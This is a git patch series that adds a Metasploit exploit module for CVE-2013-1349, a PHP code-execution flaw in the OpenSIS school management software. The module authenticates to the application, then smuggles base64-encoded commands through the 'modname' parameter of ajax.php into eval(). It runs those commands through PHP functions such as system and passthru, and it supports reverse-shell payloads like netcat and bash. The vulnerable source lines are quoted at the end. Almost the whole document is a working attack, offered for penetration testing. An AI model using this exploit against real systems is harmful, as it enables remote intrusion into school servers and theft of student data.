From fc2da15c87de45fee083f2798846505b11b69e16 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 19 Dec 2013 19:10:48 +1030 Subject: [PATCH 1/3] Add OpenSIS 'modname' PHP Code Execution module for CVE-2013-1349 --- .../unix/webapp/opensis_modname_exec.rb | 157 ++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 modules/exploits/unix/webapp/opensis_modname_exec.rb diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb new file mode 100644 index 0000000000..010dc0040d --- /dev/null +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "OpenSIS 'modname' PHP Code Execution", + 'Description' => %q{ + This module exploits a PHP code execution vulnerability in OpenSIS + versions 4.5 to 5.2 which allows any authenticated user to execute + arbitrary PHP code under the context of the web-server user. + The 'ajax.php' file calls 'eval()' with user controlled data from + the 'modname' parameter. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'EgiX', # Discovery + 'Brendan Coles ' # msf exploit + ], + 'References' => + [ + ['CVE', '2013-1349'], + ['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/'] + ], + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python', + } + }, + 'DefaultOptions' => + { + 'ExitFunction' => 'none' + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + # Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux) + ['OpenSIS version 4.5 to 5.2', { 'auto' => true }] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 04 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']), + OptString.new('USERNAME', [true, 'The username for OpenSIS', '']), + OptString.new('PASSWORD', [true, 'The password for OpenSIS', '']) + ], self.class) + end + + # + # Login + # + def login(user, pass) + @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};" + print_status("#{peer} - Authenticating as user '#{user}'") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "index.php"), + 'cookie' => @cookie, + 'vars_post' => Hash[{ + 'USERNAME' => user, + 'PASSWORD' => pass, + }.to_a.shuffle] + }) + if res and res.code == 200 and res.body =~ /Portal\.php/ + print_good("#{peer} - Authenticated as user '#{user}'") + return true + else + print_error("#{peer} - Authenticating as user '#{user}' failed") + return false + end + end + + # + # Send command for execution + # + def execute_command(cmd, opts = { :php_function => 'system' } ) + code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&")) + junk = rand_text_alphanumeric(rand(10)+6) + print_status("#{peer} - Sending payload (#{code.length} bytes)") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ajax.php'), + 'cookie' => @cookie, + 'vars_post' => { + 'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//" + } + }) + return res + end + + # + # Check credentials are valid and confirm command execution + # + def check + return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD']) + fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10) + print_status("#{peer} - Sending check") + res = execute_command("echo #{fingerprint}") + if res and res.body =~ /align=center>#{fingerprint}/ + return Exploit::CheckCode::Vulnerable + elsif res + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Unknown + end + + def exploit + return unless login(datastore['USERNAME'], datastore['PASSWORD']) + php_function = [ + 'exec', + 'shell_exec', + 'passthru', + 'system' + ].sample + res = execute_command(payload.encoded, { :php_function => php_function }) + if res and res.code == 200 and res.body =~ /hacking_log/i + print_good("#{peer} - Payload sent successfully") + else + fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed") + end + end +end + +# +# Source +# +=begin ajax.php +90: if(strpos($_REQUEST['modname'],'?')!==false) +91: { +92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1)); +93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?')); +94: +95: $vars = explode('?',$vars); +96: foreach($vars as $code) +97: { +98: $code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';"); +99: eval($code); +100: } +101: } +=end From fb6cd9c149e2d92cf36b72506598146bbd498220 Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 20 Dec 2013 20:27:07 +1030 Subject: [PATCH 2/3] add osvdb+url refs and module tidy up --- modules/exploits/unix/webapp/opensis_modname_exec.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 010dc0040d..13e81eb09f 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -28,8 +28,10 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['CVE', '2013-1349'], - ['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/'] + ['CVE', '2013-1349'], + ['OSVDB', '100676'], + ['URL', 'http://karmainsecurity.com/KIS-2013-10'], + ['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/'] ], 'Payload' => { @@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']), + OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']), OptString.new('USERNAME', [true, 'The username for OpenSIS', '']), OptString.new('PASSWORD', [true, 'The password for OpenSIS', '']) ], self.class) From d0ef860f75ec329aa96313b1c751dc0065a9d9a0 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Dec 2013 11:28:18 -0600 Subject: [PATCH 3/3] Strip default username/password There isn't one. So force the user to supply one. --- modules/exploits/unix/webapp/opensis_modname_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 13e81eb09f..6db0c66ab7 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']), - OptString.new('USERNAME', [true, 'The username for OpenSIS', '']), - OptString.new('PASSWORD', [true, 'The password for OpenSIS', '']) + OptString.new('USERNAME', [true, 'The username for OpenSIS']), + OptString.new('PASSWORD', [true, 'The password for OpenSIS']) ], self.class) end